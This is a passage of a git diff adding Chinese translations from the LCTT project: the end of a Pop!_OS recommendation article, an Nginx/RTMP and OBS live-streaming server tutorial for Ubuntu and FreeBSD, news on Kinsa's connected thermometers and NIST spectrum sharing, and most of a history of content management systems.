+虽然你肯定可以手动安装专有驱动程序,但这并不是完美的体验。 + +顺便说一句,对于大多数流行的 Linux 发行版,这个过程应该与 [在 Linux Mint 中安装 Nvidia 驱动程序][5] 类似。 + +![驱动管理器 | Linux Mint (Cinnamon)][6] + +请注意,有时你需要排除故障或重新安装正确的(或较早的驱动版本)才能正确使用 Nvidia 显卡。 + +但是,如果你有单独的 ISO 来支持 Nvidia 的系统或 Nvidia 图形安装模式(如 Zorin OS),那就可以消除手动安装 Nvidia 驱动程序的麻烦。 + +这不仅仅是为了方便使用,而是 Pop!_OS 通过提供帮助性的 Nvidia ISO 做到了开箱即用。 + +当我试图手动安装专有驱动程序时,我曾在 Linux Mint、Ubuntu 和其他一些发行版上遇到过问题。因此,Pop!_OS 对于我带有 Nvidia 显卡的系统来说,设置起来非常容易。 + +#### 2、自动平铺管理器 + +![][7] + +如果没有平铺管理器,你需要不断地拖放(和移动)你的活动窗口来组织它们以便快速访问。 + +因此,一个窗口平铺管理器可以方便地自动组织你启动的应用程序的活动窗口。 + +当然,使用平铺管理器的体验会因你的屏幕尺寸而不同,但即使你有一个尺寸不大的 27 英寸显示屏,它也应该会有明显的体验改善。 + +我自己一直在使用它,即使没有大显示器(或双显示器设置)。 + +我从来没有在笔记本电脑上使用过它,但整天工作时,拥有一个自动窗口平铺管理器(你可以启用/禁用)听起来是一个有用的功能。 + +它有助于提高你的多任务处理能力,而不一定要移动到不同的工作空间。 + +#### 3、使用的便利性 + +为什么你认为 Ubuntu 是 [最好的 Linux 发行版][8] 之一? + +多年来,它一直设法提供易于使用的现代桌面体验。 + +令人印象深刻的是,System76 已经设法将 Pop!_OS 的用户体验在 Ubuntu 的基础上提升了一个档次。 + +因此,Pop!_OS 不仅仅是另一个 Ubuntu 发行版,它的应用启动器、应用库、坞站、工作区定制以及其他各种优化都带来了独特的桌面体验。 + +对于我的使用情况而言,它感觉比 Ubuntu 更好。别忘了,它还包括一些工具,比如 [Popsicle][9],这些工具在以后的工作中会很方便。 + +#### 4、较新的 Linux 内核 + +![Pop!_OS 21.10 具有 Linux 内核 5.15.8][10] + +Ubuntu 可能不具有最新和最棒的 Linux 内核,特别是它的 LTS 版本时。 + +然而,Pop!_OS 尽力提供最新的 Linux 内核版本,即使是在 LTS 版本中。例如,Ubuntu 20.04.3 LTS 包含了 Linux 内核 5.11,但 Pop!_OS 20.04 LTS 具有 Linux 内核 5.13。 + +对于大多数用户来说,这可能不是什么大问题,但是 Pop!_OS 比其他大多数 Linux 发行版更快地推送了更新的 Linux 内核。 + +如果你想让你的最新和最棒的硬件与 Linux 发行版很好地配合工作,Pop!_OS 是一个绝妙的选择。 + +#### 5、应用程序启动器 + +![][11] + +应用程序启动器在快速启动应用程序或在活动窗口之间进行导航时非常方便。 + +使用快捷方式(也可能是链接到它的宏,就像我使用的那样)调用启动器的能力,使它成为启动应用程序和在它们之间进行导航的最快捷的方式之一。 + +当然,你可以安装像 [Ulauncher][12] 这样的工具来实现同样的目的。不过,它是预先配置、开箱即用的,不需要任何故障排除,这很方便。 + +#### 6、快速升级过程 + +尽管升级 Linux 发行版通常是无忧无虑的,但 Pop!_OS 在每次更新时都尽力完善和改进这个过程。 + +例如,在 Pop!_OS 21.10 中,他们引入了一些改进措施,以防止升级过程中的冲突,并使其成为一个顺畅的过程。 + +事实上,我从 Pop!_OS 21.04 升级到 21.10 只需点击几下,没有遇到任何问题。 + +#### 7、努力改善现代桌面体验 + +Pop!_OS 可能不是一个 [轻量级 Linux 发行版][13],但它专注于为现代桌面用户提供一流的体验。 + +虽然有很多适合老式电脑的 Linux 发行版,但以新一代硬件为目标同样重要。 + +System76 也在他们的最新笔记本硬件配置上测试过该发行版,Pop!_OS 在这方面表现得非常好。 + +此外,Pop!_OS 还提供了开箱即用的调整功能,使用户在操作系统方面的体验变得简单。虽然 Linux 就是不断调整和控制你的系统,但 Pop!_OS 似乎成功地使它成为一个主流选择和一个可行的 Ubuntu 替代品,这可能对一些人来说更好。 + +#### 补充:软件包更新 + +System76 最近在 [Pop!_OS 21.10 版本][14] 中从 Launchpad 转向了自己的软件库。 + +这应该能让他们更快地推送更新,并控制软件包以确保用户的最佳体验。 + +这也应该使 Pop!_Shop 更加有用。因此,这是又一个在我的机器上继续使用 Pop!_OS 的理由。 + +### 总结 + +Pop!_OS 在很多地方做的很好。 + +如果你对选择一个易于使用、与最新硬件兼容、适合各种使用情况的 Linux 发行版感到困惑,我会推荐 Pop!_OS。 + +上述原因是我坚持使用它的原因,即使在我曾经尝试切换到 Zorin OS 和 Linux Mint 几个月。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/why-use-pop-os/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/pop-os-vs-ubuntu/ +[2]: https://pop.system76.com/ +[3]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-downloads-iso.png?ssl=1 +[4]: https://nouveau.freedesktop.org +[5]: https://itsfoss.com/nvidia-linux-mint/ +[6]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/linux-mint-driver-manager.jpg?ssl=1 +[7]: https://i0.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-window-tiling.png?ssl=1 +[8]: https://itsfoss.com/best-linux-distributions/ +[9]: https://github.com/pop-os/popsicle +[10]: https://i2.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-21-10-linux-kernel.png?ssl=1 +[11]: https://i1.wp.com/news.itsfoss.com/wp-content/uploads/2021/12/pop-os-application-launcher.png?ssl=1 +[12]: https://itsfoss.com/ulauncher/ +[13]: https://itsfoss.com/lightweight-linux-beginners/ +[14]: https://news.itsfoss.com/pop-os-21-10/ diff --git a/published/202201/20190108 Create your own video streaming server with Linux.md b/published/202201/20190108 Create your own video streaming server with Linux.md new file mode 100644 index 0000000000..b16e72c645 --- /dev/null +++ b/published/202201/20190108 Create your own video streaming server with Linux.md @@ -0,0 +1,297 @@ +[#]: collector: (lujun9972) +[#]: translator: (Starryi) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14159-1.html) +[#]: subject: (Create your own video streaming server with Linux) +[#]: via: (https://opensource.com/article/19/1/basic-live-video-streaming-server) +[#]: author: (Aaron J.Prisk https://opensource.com/users/ricepriskytreat) + +使用 OBS 搭建视频流媒体服务器 +====== + +> 在 Linux 或 BSD 操作系统上设置基本的实时流媒体服务器。 + +![](https://img.linux.net.cn/data/attachment/album/202201/08/102934r2qpr1rlkpjb1pwb.jpg) + +实时视频流越来越流行。亚马逊的 Twitch 和谷歌的 YouTube 等平台拥有数百万用户,这些用户消磨了无数小时的来观看直播和录制视频。这些视频服务通常可以免费使用,但需要你拥有一个帐户,并且一般会将你的视频内容隐藏在广告中。有些人不希望他们的视频提供给大众观看,或者想更多地控制自己的视频内容。幸运的是,借助强大的开源软件,任何人都可以设置直播服务器。 + +### 入门 + +在本教程中,我将说明如何使用 Linux 或 BSD 操作系统设置基本的实时流媒体服务器。 + +搭建实时流媒体服务器不可避免地提到系统需求问题。这些需求多种多样,因为实时流媒体涉及许多因素,例如: + + * **流媒体质量:** 你想以高清流媒体播放还是标清视频就可以满足你的需求? + * **收视率:** 你的视频预计有多少观众? + * **存储:** 你是否打算保留已保存的视频流副本? + * **访问:** 你的视频流是私有的还是向全世界开放的? + +在硬件要求方面没有固定规则,因此我建议你进行测试,以便找到最适合你需求的配置。本项目中,我将服务器安装在配有 4GB 内存、20GB 硬盘空间和单个 Intel i7 处理器内核的虚拟机上。 + +本项目使用实时消息传递协议Real-Time Messaging Protocol(RTMP)来处理音频和视频流。当然还有其他协议可用,但我选择 RTMP 是因为它具有广泛的支持。鉴于像 WebRTC 这样的开放标准变得更加兼容,我比较推荐这条路线。 + +同样重要的是,要明白“实时”并不总是意味着即时。视频流必须经过编码、传输、缓冲和显示,这通常会增大延迟。延迟可以被缩短或延长,具体取决于你创建的流类型及其属性。 + +### 设置 Linux 服务器 + +你可以使用许多不同的 Linux 发行版,但我更喜欢 Ubuntu,因此我下载了 [Ubuntu 服务器版][1] 作为我的操作系统。如果你希望你的服务器具有图形用户界面(GUI),请随意使用 [Ubuntu 桌面版][2] 或其多种风味版本之一。然后,我在我的计算机或虚拟机上启动了 Ubuntu 安装程序,并选择了最适合我的环境的设置。以下是我采取的步骤。 + +注意:因为这是一个服务器,你可能需要设置静态网络。 + +![](https://opensource.com/sites/default/files/uploads/stream-server_profilesetup.png) + +安装程序完成并重新启动系统后,你会看到一个可爱的新 Ubuntu 系统。 与任何新安装的操作系统一样,安装任何可用的更新: + +``` +sudo apt update +sudo apt upgrade +``` + +这个流媒体服务器将使用非常强大通用的 Nginx 网络服务器,所以你需要安装它: + +``` +sudo apt install nginx +``` + +然后你需要获取 RTMP 模块,以便 Nginx 可以处理你的媒体流: + +``` +sudo add-apt-repository universe +sudo apt install libnginx-mod-rtmp +``` + +修改你的网页服务器配置,使其能够接受和传送你的媒体流。 + +``` +sudo nano /etc/nginx/nginx.conf +``` + +滚动到配置文件的底部并添加以下代码: + +``` +rtmp { + server { + listen 1935; + chunk_size 4096; + + application live { + live on; + record off; + } + } +} +``` + +![](https://opensource.com/sites/default/files/uploads/stream-server_config.png) + +保存配置。我是使用 [Nano][3] 来编辑配置文件的异端。在 Nano 中,你可以通过快捷键 `Ctrl+X`、`Y` 并按下回车来保存你的配置。 + +这么一个非常小的配置就可以创建一个可工作的流服务器。稍后你将添加更多内容到此配置中,但这是一个很好的起点。 + +在开始第一个流之前,你需要使用新配置重新启动 Nginx: + +``` +sudo systemctl restart nginx +``` + +### 设置 BSD 服务器 + +如果是“小恶魔”(LCTT 译者注:FreeBSD 的标志是一个拿着叉子的红色小恶魔)的信徒,那么建立并运行一个流媒体服务器也非常容易。 + +前往 [FreeBSD][4] 网站并下载最新版本。在你的计算机或虚拟机上启动 FreeBSD 安装程序,然后执行初始步骤并选择最适合你环境的设置。由于这是一个服务器,你可能需要设置静态网络。 + +在安装程序完成并重新启动系统后,你应该就拥有了一个闪亮的新 FreeBSD 系统。像任何其他新安装的系统一样,你可能希望更新所有内容(从这一步开始,请确保你以 root 身份登录): + +``` +pkg update +pkg upgrade +``` + +安装 [Nano][3] 来编辑配置文件: + +``` +pkg install nano +``` + +这个流媒体服务器将使用非常强大通用的 Nginx 网络服务器。 你可以使用 FreeBSD 所拥有的优秀 ports 系统来构建 Nginx。 + +首先,更新你的 ports 树: + +``` +portsnap fetch +portsnap extract +``` + +进入 Nginx ports 目录: + +``` +cd /usr/ports/www/nginx +``` + +运行如下命令开始构建 Nginx: + +``` +make install +``` + +你将看到一个屏幕,询问你的 Nginx 构建中要包含哪些模块。对于这个项目,你需要添加 RTMP 模块。向下滚动直到选中 RTMP 模块,并按下空格键。然后按回车键继续剩下的构建和安装。 + +Nginx 安装完成后,就该为它配置流式传输了。 + +首先,在 `/etc/rc.conf` 中添加一个条目以确保 Nginx 服务器在系统启动时启动: + +``` +nano /etc/rc.conf +``` + +将此文本添加到文件中: + +``` +nginx_enable="YES" +``` + +![](https://opensource.com/sites/default/files/uploads/stream-server_streamingconfig.png) + +接下来,创建一个网站根目录,Nginx 将从中提供其内容。我自己的目录叫 `stream`: + +``` +cd /usr/local/www/ +mkdir stream +chmod -R 755 stream/ +``` + +现在你已经创建了你的流目录,通过编辑配置文件来配置 Nginx: + +``` +nano /usr/local/etc/nginx/nginx.conf +``` + +在文件顶部加载你的流媒体模块: + +``` +load_module /usr/local/libexec/nginx/ngx_stream_module.so; +load_module /usr/local/libexec/nginx/ngx_rtmp_module.so; +``` + +![](https://opensource.com/sites/default/files/uploads/stream-server_modules.png) + +在 `Server` 部分下,更改 `root` 位置以匹配你之前创建的目录位置: + +```nginx +Location / { + root /usr/local/www/stream +} +``` + +![](https://opensource.com/sites/default/files/uploads/stream-server_webroot.png) + +最后,添加你的 RTMP 设置,以便 Nginx 知道如何处理你的媒体流: + +``` +rtmp { + server { + listen 1935; + chunk_size 4096; + + application live { + live on; + record off; + } + } +} +``` + +保存配置。在 Nano 中,你可以通过快捷键 `Ctrl+X`、`Y`,然后按回车键来执行此操作。 + +如你所见,这么一个非常小的配置将创建一个工作的流服务器。稍后,你将添加更多内容到此配置中,但这将为你提供一个很好的起点。 + +但是,在开始第一个流之前,你需要使用新配置重新启动 Nginx: + +``` +service nginx restart +``` + +### 设置你的流媒体软件 + +#### 使用 OBS 进行广播 + +现在你的服务器已准备好接受你的视频流,是时候设置你的流媒体软件了。本教程使用功能强大的开源的 Open Broadcast Studio(OBS)。 + +前往 [OBS 网站][5],找到适用于你的操作系统的版本并安装它。OBS 启动后,你应该会看到一个首次运行向导,该向导将帮助你使用最适合你的硬件的设置来配置 OBS。 + +![](https://opensource.com/sites/default/files/uploads/stream-server_autoconfig.png) + +OBS 没有捕获任何内容,因为你没有为其提供源。在本教程中,你只需为流捕获桌面。单击“来源Source”下的 “+” 按钮,选择“显示捕获Screen Capture”,然后选择要捕获的桌面。 + +单击“确定OK”,你应该会看到 OBS 镜像了你的桌面。 + +现在可以将你新配置的视频流发送到你的服务器了。在 OBS 中,单击“文件 > 设置File > Settings”。 单击“Stream”部分,并将“串流类型Stream Type” 设置为“自定义流媒体服务器Custom Streaming Server”。 + +在 URL 框中,输入前缀 `rtmp://` 后跟流媒体服务器的 IP 地址,后跟 `/live`。例如,`rtmp://IP-ADDRESS/live`。 + +接下来,你可能需要输入“串流密钥Stream key”,这是观看你的流所需的特殊标识符。 在“串流密钥Stream key”框中输入你想要(并且可以记住)的任何关键词。 + +![](https://opensource.com/sites/default/files/uploads/stream-server_streamkey.png) + +单击“应用Apply”,然后单击“确定OK”。 + +现在 OBS 已配置为将你的流发送到你的服务器,你可以开始你的第一个视频流。 单击“开始推流Start Streaming”。 + +如果一切正常,你应该会看到按钮更改为“停止推流Stop Streaming”,并且在 OBS 的底部将出现一些带宽指标。 + +![](https://opensource.com/sites/default/files/uploads/stream-server_metrics.png) + +如果你收到错误消息,请仔细检查 OBS 中的流设置是否有拼写错误。如果一切看起来都不错,则可能是另一个问题阻止了它的工作。 + +### 观看你的视频流 + +如果没有人观看,就说明直播视频不是很好,所以请成为你的第一个观众! + +有许多支持 RTMP 的开源媒体播放器,但最著名的可能是 [VLC 媒体播放器][6]。 + +安装并启动 VLC 后,通过单击“媒体 > 打开网络串流Media > Open Network Stream” 打开你的流。输入你的流的路径,添加你在 OBS 中设置的串流密钥,然后单击“播放Play”。 例如,`rtmp://IP-ADDRESS/live/SECRET-KEY`。 + +你现在应该可以看到自己的实时视频流了! + +![](https://opensource.com/sites/default/files/uploads/stream-server_livevideo.png) + +### 接下来要做什么? + +本项目是一个非常简单的设置,可以让你开始工作。 以下是你可能想要使用的另外两个功能。 + + * **限制访问:** 你可能想要做的下一件事情是限制对你服务器的访问,因为默认设置允许任何人与服务器之间进行流传输。有多种设置方法,例如操作系统防火墙、[.htaccess 文件][7],甚至使用 [STMP 模块中的内置访问控制][8]。 + * **录制流:** 这个简单的 Nginx 配置只会流传输而不会保存你的视频,但这很容易修改。在 Nginx 配置文件中的 RTMP 部分下,设置录制选项和要保存视频的位置。确保你设置的路径存在并且 Nginx 能够写入它。 + + ``` + application live { + live on; + record all; + record_path /var/www/html/recordings; + record_unique on; + } + ``` + +实时流媒体的世界在不断发展,如果你对更高级的用途感兴趣,可以在互联网上找到许多其他很棒的资源。祝你好运,直播快乐! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/19/1/basic-live-video-streaming-server + +作者:[Aaron J.Prisk][a] +选题:[lujun9972][b] +译者:[Starryi](https://github.com/Starryi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/ricepriskytreat +[b]: https://github.com/lujun9972 +[1]: https://www.ubuntu.com/download/server +[2]: https://www.ubuntu.com/download/desktop +[3]: https://www.nano-editor.org/ +[4]: https://www.freebsd.org/ +[5]: https://obsproject.com/ +[6]: https://www.videolan.org/vlc/index.html +[7]: https://httpd.apache.org/docs/current/howto/htaccess.html +[8]: https://github.com/arut/nginx-rtmp-module/wiki/Directives#access diff --git a/published/202201/20200421 IoT offers a way to track COVID-19 via connected thermometers.md b/published/202201/20200421 IoT offers a way to track COVID-19 via connected thermometers.md new file mode 100644 index 0000000000..695bb88281 --- /dev/null +++ b/published/202201/20200421 IoT offers a way to track COVID-19 via connected thermometers.md @@ -0,0 +1,51 @@ +[#]: collector: (lujun9972) +[#]: translator: (CN-QUAN) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14162-1.html) +[#]: subject: (IoT offers a way to track COVID-19 via connected thermometers) +[#]: via: (https://www.networkworld.com/article/3539058/iot-offers-a-way-to-track-covid-19-via-connected-thermometers.html) +[#]: author: (Jon Gold https://www.networkworld.com/author/Jon-Gold/) + +物联网提供了一种通过联网温度计跟踪 COVID-19 的方法 +====== + +> COVID-19 大流行使一家联网温度计制造商 Kinsa 成为全国知名企业,因为它提供了一个可能了解疾病传播的窗口。 + +![][1] + +一家名为 Kinsa 的公司正在利用 [物联网][2] 技术来创建一个连接温度计的网络,收集大量的匿名健康数据,这些数据可以为了解当前和未来的流行病提供帮助。 + +该公司创始人兼首席执行官 Inder Singh 表示,能够近乎实时地跟踪美国各地的发烧水平,对于广大公众以及医疗保健部门和政府的决策者来说,都可能是一条至关重要的信息。 + +该系统的联网技术相对简单 —— 温度计通过蓝牙连接到用户手机上的一个应用程序,该应用程序通过互联网将匿名数据报告给 Kinsa 的云。Singh 强调说,该公司只整理到县一级的数据,并声称通过 Kinsa 的数据识别个人几乎是不可能的。 + +“我们不提供个人身份信息,我们不提供识别数据,”他说。“这款应用程序只会引导你找到你需要的护理和服务。” + +有了体温读数和一些关于体温测量者的基本人口统计信息以及他们的其他症状,这款应用程序可以提供基本的指导,比如是否需要去看医生,以及用户所在的区域是否出现了异常的发烧程度。 + +然而,真正的价值在于 Kinsa 在其 [美国健康天气地图][1] 上分析和细分的聚合数据,这些数据是从该公司生态系统中的 100 多万个温度计收集而来的。根据 Singh 的说法,这个想法是为了给公众提供一种方式,让他们对自己的健康做出更明智的决定。 + +“这是一个参与性很强的活动,”他说。“每个人都能得到数据,每个人都能做出反应。” + +Kinsa 仍然直接向消费者销售温度计,但该公司正计划与地方政府、卫生部门甚至学区进行更密切的合作——辛格说,Kinsa 已经与美国两个州(他拒绝透露其名称)以及包括佛罗里达州的圣奥古斯丁在内的多个市政府合作。 + +他说:“我们的希望是,我们能够找出如何建立一个可扩展的模型 —— 我们永远不会只靠卖 20 美元的温度计就可以在全球范围内扩展。”。我们的目标是使该产品能够广泛应用,从而成为医疗保健部门有意义的早期预警系统。 + +------ +via: https://www.networkworld.com/article/3539058/iot-offers-a-way-to-track-covid-19-via-connected-thermometers.html + +作者:[Jon Gold][a] +选题:[lujun9972][b] +译者:[CN-QUAN](https://github.com/CN-QUAN) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.networkworld.com/author/Jon-Gold/ +[b]: https://github.com/lujun9972 +[1]: https://images.idgesg.net/images/article/2020/04/kinsa_influenza_map_2020-04-21_by_kinsa_leaflet_openstreetmap_carto_2400x1600-100839260-large.jpg?auto=webp&quality=85,70 +[2]: https://www.networkworld.com/article/3207535/what-is-iot-the-internet-of-things-explained.html +[3]: https://www.networkworld.com/newsletters/signup.html +[4]: https://www.facebook.com/NetworkWorld/ +[5]: https://www.linkedin.com/company/network-world diff --git a/published/202201/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md b/published/202201/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md new file mode 100644 index 0000000000..6b0b26ee32 --- /dev/null +++ b/published/202201/20200629 NIST aims to make frequency sharing more efficient for wireless networks.md @@ -0,0 +1,64 @@ +[#]: collector: (lujun9972) +[#]: translator: (CN-QUAN) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14171-1.html) +[#]: subject: (NIST aims to make frequency sharing more efficient for wireless networks) +[#]: via: (https://www.networkworld.com/article/3561618/nist-aims-to-make-frequency-sharing-more-efficient-for-wireless-networks.html) +[#]: author: (Patrick Nelson https://www.networkworld.com/author/Patrick-Nelson/) + +NIST 的目标是使无线网络的频率共享更加有效 +====== + +> 机器学习方案将帮助不同的无线电协议,如 Wi-Fi 和 LTE,在同一的无线频谱中更有效地协同工作。 + +![](https://img.linux.net.cn/data/attachment/album/202201/12/130824n8rkw1iwiveadcgr.jpg) + +美国国家标准与技术研究所([NIST][1])开发的机器学习方案有可能显著改善 [5G][2] 和其他无线网络选择和共享通信频率的方式。研究人员声称,与试错法相比,NIST 的方案可以使共享通信频率的过程的效率提高多达 5000 倍。 + +NIST 系统的理念是,无线电设备可以从经验中学习其网络环境,而不是像现在这样,简单地根据试错法选择频率信道。 + +NIST 在 [其网站上的一篇文章][3] 中说,在特定的环境条件下,“该算法可以学习哪个信道提供最好的结果”。 + +该团队说:“该方案可以被编程到现实世界中许多 [不同] 类型网络的发射机软件中。” + +从本质上讲,这个计算机模拟的算法是一个映射环境射频条件的先前经验的公式。例如,这些条件可以包括在一个信道(一组相邻的频率)内运行的发射机的数量。 + +文章说:“……如果发射机选择了一个未被占用的信道,那么成功传输的概率就会上升,从而导致更高的数据速率。”同样地,当发射机选择一个没有太多干扰的信道时,信号会更强,你也会得到更好的数据速率。发射机会记住哪个信道提供了最佳结果,并学会在下次需要清晰信号时学会选择那个位置。 + +这与今天的工作方式不同。也就是说,无线电只是试图找到一个开放频率,然后与类似协议的无线电进行通信。在复杂的情况下,使用诸如 Wi-Fi、跳频和 [波束成形][4] 等技术来优化信道。 + +研究人员解释说,NIST 的机器学习技术的亮点在于共享频谱,比如通过授权频谱辅助接入(LAA)共享 Wi-Fi。LAA 是非授权频谱中的 LTE 频谱,称为 LTE-U,频率为 5GHz。在相同频率下的 Wi-Fi 与 LAA 的组合中,协议是不同的:无线电之间不能相互通信以协调工作,而且频带越繁忙就可能出现混乱 —— 传输会遇到其他传输。但是,如果所有的无线电接收机都能更好地选择它们的占位,通过学习哪些有效,哪些无效,那么这将会更好。 + +NIST 工程师 Jason Coder 在文章中说:“这可能会使非授权频段的通信更加高效。” + +事实上,NIST 声称,它“可以帮助 5G 和其他无线网络选择和共享通信频率,其效率大约是试错法的 5000 倍。” + +这里的关键词是“共享”,因为为了在有限的频谱内增加通信,必须进行更多的共享 —— 物联网或媒体流等用户都在争夺同样的隐喻资产。随着物联网和数字技术的不断发展,非授权和授权频段的结合,就像 LAA 中的情况一样,可能会变得更加普遍。(非授权的频段是指那些没有分配给特定用户的频段,比如移动网络运营商;授权频段是在拍卖中中标并分配的。) + +在 NIST 场景中,相互竞争的发射机“各自学习在不相互通信的情况下最大化网络数据速率”。因此,多种协议和数据类型,如视频或传感器数据,或 Wi-Fi 和移动网络,可以相互协作。 + +NIST 的方案大大简化了为发射机分配最佳信道的过程,根据这篇文章研究发现,穷尽努力 [使用试错法] 来确定最佳解决方案需要大约 45600 次试验,而这个方案只需要尝试 10 个渠道就可以选择类似的解决方案,仅仅付出 0.02% 的努力。” + +NIST 的研究人员在 IEEE 第 91 届车辆技术会议上展示了他们的研究成果。 + +-------------------------------------------------------------------------------- + +via: https://www.networkworld.com/article/3561618/nist-aims-to-make-frequency-sharing-more-efficient-for-wireless-networks.html + +作者:[Patrick Nelson][a] +选题:[lujun9972][b] +译者:[CN-QUAN](https://github.com/CN-QUAN) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.networkworld.com/author/Patrick-Nelson/ +[b]: https://github.com/lujun9972 +[1]: https://www.nist.gov/ +[2]: https://www.networkworld.com/article/3330603/5g-versus-4g-how-speed-latency-and-application-support-differ.html +[3]: https://www.nist.gov/news-events/news/2020/05/nist-formula-may-help-5g-wireless-networks-efficiently-share-communications +[4]: https://www.networkworld.com/article/3445039/beamforming-explained-how-it-makes-wireless-communication-faster.html +[5]: https://events.vtsociety.org/vtc2020-spring/conference-sessions/program/ +[6]: https://www.facebook.com/NetworkWorld/ +[7]: https://www.linkedin.com/company/network-world diff --git a/published/202201/20200717 A brief history of the Content Management System.md b/published/202201/20200717 A brief history of the Content Management System.md new file mode 100644 index 0000000000..aa7afddb42 --- /dev/null +++ b/published/202201/20200717 A brief history of the Content Management System.md @@ -0,0 +1,74 @@ +[#]: collector: (lujun9972) +[#]: translator: (wxy) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14180-1.html) +[#]: subject: (A brief history of the Content Management System) +[#]: via: (https://opensource.com/article/20/7/history-content-management-system) +[#]: author: (Pierre Burgy https://opensource.com/users/pierreburgy) + +内容管理系统(CMS)简史 +====== + +> 从静态页面到 JAM 栈,CMS 的历史就是开源和 Web 变迁的核心。 + +![](https://img.linux.net.cn/data/attachment/album/202201/15/000116nzhufdu7h9w8wewj.jpg) + +内容管理系统Content Management System(CMS)是一个多产的软件类别,其涵盖了所有创建和修改数字内容的应用程序。因此,CMS 的历史可以追溯到由 [蒂姆-伯纳斯-李][2] 在 1990 年建立的历史上的第一个网站也就不足为奇了,该网站是以基于互联网的超文本系统 HTML 为模型,只包含了文本和链接。 + +![CMS 市场演变时间表][3] + +万维网(WWW)的雏形是静态网站,无需后端数据库即可提供内容。它们消耗的计算资源很少,所以加载速度很快 —— 因为没有数据库查询、没有模板渲染、也没有客户端-服务器请求的处理。鉴于那时很少有人经常“上网冲浪”,特别是与今天相比,Web 流量也很少。 + +当然,促进了这种互操作性都是开源软件。事实上,开源在 CMS 的演变中一直扮演着重要的角色。 + +### CMS 的崛起 + +快进到九十年代中期,随着万维网的普及和网站对频繁更新的需求的增加 —— 这与它最初托管手册式的静态内容有所不同。这导致了大量的 CMS 产品的出现,如 FileNet、Vignette 的StoryBuilder、Documentum 和其他许多产品。这些都是专有的闭源产品,这在那个时期并不罕见。 + +然而,在 21 世纪初,开源的 CMS 替代品出现了,这包括 WordPress、Drupal 和 Joomla。WordPress 包含一个可扩展的插件架构,并提供了可用于建立网站的模板,而不要求用户具备 HTML 和 CSS 知识。WordPress CMS 软件安装在 Web 服务器上,通常与 MySQL 或 MariaDB 数据库(当然,两者都是开源的)配合。CMS 是开源的这一事实在一定程度上加速了向 WordPress 的重大转变。 + +即使在今天,仍有大约三分之一的网站是使用这些第一代内容管理系统建立的。这些传统的 CMS 是单体系统,包括后端用户界面、插件、前端模板、层叠样式表(CSS)、Web 服务器和数据库。每当用户请求一个网站页面时,服务器首先查询数据库,然后将结果与来自页面标记和插件的数据结合起来,在浏览器中生成一个 HTML 文档。 + +### 趋向于 LAMP 栈 + +开源 CMS 的出现与建立在 LAMP(Linux、Apache、MySQL 和 PHP/Perl/Python)栈上的基础设施是一致的。这种新的结构代表了单体 Web 开发的开始,它使动态网站的创建能够使用数据库查询,为不同的终端用户提供独特的内容。在这一点上,以前放在服务器上的静态网站模式真正开始消失。(静态网站模式是指由文本和链接组成的单个文件,如 HTML、CSS、JavaScript 等,以同样的方式传递给所有的终端用户。) + +### 移动 Web 改变了一切 + +随着我们逐渐步入 2000 年代的第一个十年,早期的移动设备如 Palm 和黑莓提供了对 Web 内容的访问,然后在 2010 年左右推出的智能手机和平板电脑让越来越多的用户可以通过移动设备访问 Web 。2016 年,天平倾斜,全球 [来自移动设备和平板电脑的 Web 访问量超过了台式机][4]。 + +单体的 CMS 并不适合为这些不同类型的访问设备提供内容,这就需要不同版本的网站 —— 通常是针对移动用户的精简版网站。新的可以访问 WEB 的设备类型的出现,如智能手表、游戏机和语音助手(如 Alexa)[5],只是加剧了这个问题,对全渠道内容交付的需求变得很明显。 + +### 无头 CMS 和 JAM 栈的出现 + +无头 CMS 将后端(用来存储所有内容、数据库和文件)与前端解耦。通常,无头 CMS 使用 API,这样就可以访问数据库(SQL 和 NoSQL)和文件的内容,以便在网站、智能手机、甚至物联网(IoT)设备上显示。此外,无头 CMS 与前端框架无关,使其与各种静态网站生成器和前端框架(如 Gatsby.js、Next.js、Nuxt.js、Angular、React 和 Vue.js)兼容,这使开发人员可以自由选择他们喜欢的工具。 + +无头 CMS 特别适用于 JAM(Javascript、API 和 Markup)栈的 Web 开发架构,该架构正在成为一种流行的解决方案,因为它能提供更好的 Web 性能和 SEO 排名,以及强大的安全措施。JAM 栈不依赖于 Web 服务器,当有请求时可以立即提供静态文件。不需要查询数据库,因为文件已经被编译并提供给浏览器。 + +向无头 CMS 的转变是由新一轮的参与者推动的,他们有的采用 SaaS 方式,如 Contentful,有的采用自托管的开源替代品,如 [Strapi][6]。无头 CMS 也在颠覆电子商务行业,新的软件编辑器,如 Commerce Layer 和 [Saleor][7](也是开源的)提供了解决方案,以真正的全渠道方式管理多个 SKU、价格和库存数据。 + +### 总结 + +在 CMS 的整个演变过程中,由互联网上的信息消费方式驱动,开源软件也沿着同样的趋势发展,新技术不断出现以解决出现的需求。事实上,在内容管理系统、万维网和开源之间似乎存在着一种相互依赖的关系。管理越来越多的内容的需求不会很快消失。我们完全有理由期待在未来更广泛地采用开源软件。 + +-------------------------------------------------------------------------------- + +via: 